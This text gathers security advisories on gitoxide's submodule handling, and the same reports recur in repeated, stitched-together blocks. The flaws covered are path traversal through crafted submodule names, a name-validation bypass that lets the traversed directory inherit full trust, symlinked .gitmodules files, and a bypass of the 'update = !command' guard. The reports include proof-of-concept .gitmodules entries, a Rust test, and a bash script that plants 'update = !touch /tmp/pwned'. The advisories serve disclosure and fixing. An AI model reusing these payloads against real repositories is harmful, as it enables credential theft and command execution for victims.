A crafted .gitmodules in a malicious repository causes gitoxide to open arbitrary git directories as submodule repositories with full trust, exposing their configuration including credentials. This is the same class of vulnerability as GHSA-7w47-3wg8-547c (path traversal), but through the submodule name vector with an additional trust bypass.

The trust inheritance is the critical amplifier: without it, the traversed path would undergo ownership checks that could block the attack. With it, any git directory reachable via ../ is opened with full trust.

Honest limitations

• The traversed path must be a valid git directory (HEAD, objects/, refs/ must exist)
• The victim's tool must call open() or status() on submodules (tools that only list submodules are not affected)
• Credential exposure requires the target config to contain embedded credentials
• Submodule operations currently require explicit user action

Suggested fix

1. Fix the validation to check ALL .. occurrences (iterate, not single find)
2. Call gix_validate::submodule::name() in git_dir() before constructing the path
3. Do NOT inherit git_dir_trust from parent when opening submodule repos -- always re-derive trust from path ownership

Severity

High. Network vector (via clone), requires user interaction (submodule operations). The trust bypass enables credential disclosure from traversed git directories. Confidentiality impact is high.

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.

At minimum, the worktree path should not silently follow symlinks to arbitrary external files.

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin
   

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned
   

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Summary

Submodule name validation bypass plus missing validation in production code paths allows path traversal via crafted .gitmodules. Combined with a trust inheritance flaw in Submodule::open(), this enables reading arbitrary git repository configs (including credentials) from traversed paths with full trust (CWE-22, CWE-200).

Details

Bug 1: Validation bypass in gix-validate/src/submodule.rs (lines 27-42)

The name() function uses name.find(b"..") which returns only the FIRST occurrence. If the first .. is embedded in a non-traversal context, the function returns Ok without checking subsequent ../ sequences:

pub fn name(name: &BStr) -> Result<&BStr, name::Error> {
    match name.find(b"..") {
        Some(pos) => {
            let &b = name.get(pos + 2).ok_or(name::Error::ParentComponent)?;
            if b == b'/' || b == b'\\' {
                Err(name::Error::ParentComponent)
            } else {
                Ok(name)  // Returns Ok without checking rest of string
            }
        }
        None => Ok(name),
    }
}

Bypass: a..b/../../../.git/ passes because find(b"..") returns position 1 (the .. in a..b), checks name[3] == b'b', and returns Ok. The real /../../../ is never checked.

Bug 2: Validation never called in production

gix_validate::submodule::name() has zero production callers (only test code). The names() iterator in gix-submodule/src/access.rs:29 explicitly documents it returns "unvalidated names."

git_dir() at gix/src/submodule/mod.rs:198-204 constructs filesystem paths from raw names:

pub fn git_dir(&self) -> PathBuf {
    self.state.repo.common_dir().join("modules").join(gix_path::from_bstr(self.name()))
}

Bug 3: Trust inheritance bypass in Submodule::open()

At gix/src/submodule/mod.rs:270, open() clones the parent repository's options:

match crate::open_opts(self.git_dir_try_old_form()?, self.state.repo.options.clone()) {

The parent's options.git_dir_trust is Some(Trust::Full). At gix/src/open/repository.rs:103-104:

if options.git_dir_trust.is_none() {
    options.git_dir_trust = gix_sec::Trust::from_path_ownership(&git_dir)?.into();
}

Since trust is already Some(Full), the ownership check is skipped entirely. The traversed path is opened with Trust::Full regardless of ownership, bypassing gitoxide's safe-directory protections.

PoC

Compiled and executed in Rust 1.94.1 --release mode. All bypass cases confirmed:

BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config

Attack chain

1. Attacker crafts a repository with .gitmodules:

   [submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
   

2. Victim clones the repository using a tool built on gitoxide.

3. When the tool iterates submodules and calls submodule.open() or submodule.status():

   • git_dir() returns .git/modules/x..y/../../.. which resolves to the parent .git/
   • open_opts() is called with Trust::Full (inherited from parent, ownership check skipped)
   • The parent's .git/config is fully parsed

4. The returned Repository object exposes all config values from the traversed path:

   • remote.origin.url (may contain https://user:token@github.com/...)
   • http.extraHeader (often Authorization: Bearer <token>)
   • credential.* sections
   • core.sshCommand

5. Accessible via standard API: repo.config_snapshot().string("http.extraHeader"), repo.find_remote("origin"), etc.

Impact

A crafted .gitmodules in a malicious repository causes gitoxide to open arbitrary git directories as submodule repositories with full trust, exposing their configuration including credentials. This is the same class of vulnerability as GHSA-7w47-3wg8-547c (path traversal), but through the submodule name vector with an additional trust bypass.

The trust inheritance is the critical amplifier: without it, the traversed path would undergo ownership checks that could block the attack. With it, any git directory reachable via ../ is opened with full trust.

Honest limitations

• The traversed path must be a valid git directory (HEAD, objects/, refs/ must exist)
• The victim's tool must call open() or status() on submodules (tools that only list submodules are not affected)
• Credential exposure requires the target config to contain embedded credentials
• Submodule operations currently require explicit user action

Suggested fix

1. Fix the validation to check ALL .. occurrences (iterate, not single find)
2. Call gix_validate::submodule::name() in git_dir() before constructing the path
3. Do NOT inherit git_dir_trust from parent when opening submodule repos -- always re-derive trust from path ownership

Severity

High. Network vector (via clone), requires user interaction (submodule operations). The trust bypass enables credential disclosure from traversed git directories. Confidentiality impact is high.

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.

At minimum, the worktree path should not silently follow symlinks to arbitrary external files.

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin
   

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned
   

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Summary

Submodule name validation bypass plus missing validation in production code paths allows path traversal via crafted .gitmodules. Combined with a trust inheritance flaw in Submodule::open(), this enables reading arbitrary git repository configs (including credentials) from traversed paths with full trust (CWE-22, CWE-200).

Details

Bug 1: Validation bypass in gix-validate/src/submodule.rs (lines 27-42)

The name() function uses name.find(b"..") which returns only the FIRST occurrence. If the first .. is embedded in a non-traversal context, the function returns Ok without checking subsequent ../ sequences:

pub fn name(name: &BStr) -> Result<&BStr, name::Error> {
    match name.find(b"..") {
        Some(pos) => {
            let &b = name.get(pos + 2).ok_or(name::Error::ParentComponent)?;
            if b == b'/' || b == b'\\' {
                Err(name::Error::ParentComponent)
            } else {
                Ok(name)  // Returns Ok without checking rest of string
            }
        }
        None => Ok(name),
    }
}

Bypass: a..b/../../../.git/ passes because find(b"..") returns position 1 (the .. in a..b), checks name[3] == b'b', and returns Ok. The real /../../../ is never checked.

Bug 2: Validation never called in production

gix_validate::submodule::name() has zero production callers (only test code). The names() iterator in gix-submodule/src/access.rs:29 explicitly documents it returns "unvalidated names."

git_dir() at gix/src/submodule/mod.rs:198-204 constructs filesystem paths from raw names:

pub fn git_dir(&self) -> PathBuf {
    self.state.repo.common_dir().join("modules").join(gix_path::from_bstr(self.name()))
}

Bug 3: Trust inheritance bypass in Submodule::open()

At gix/src/submodule/mod.rs:270, open() clones the parent repository's options:

match crate::open_opts(self.git_dir_try_old_form()?, self.state.repo.options.clone()) {

The parent's options.git_dir_trust is Some(Trust::Full). At gix/src/open/repository.rs:103-104:

if options.git_dir_trust.is_none() {
    options.git_dir_trust = gix_sec::Trust::from_path_ownership(&git_dir)?.into();
}

Since trust is already Some(Full), the ownership check is skipped entirely. The traversed path is opened with Trust::Full regardless of ownership, bypassing gitoxide's safe-directory protections.

PoC

Compiled and executed in Rust 1.94.1 --release mode. All bypass cases confirmed:

BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

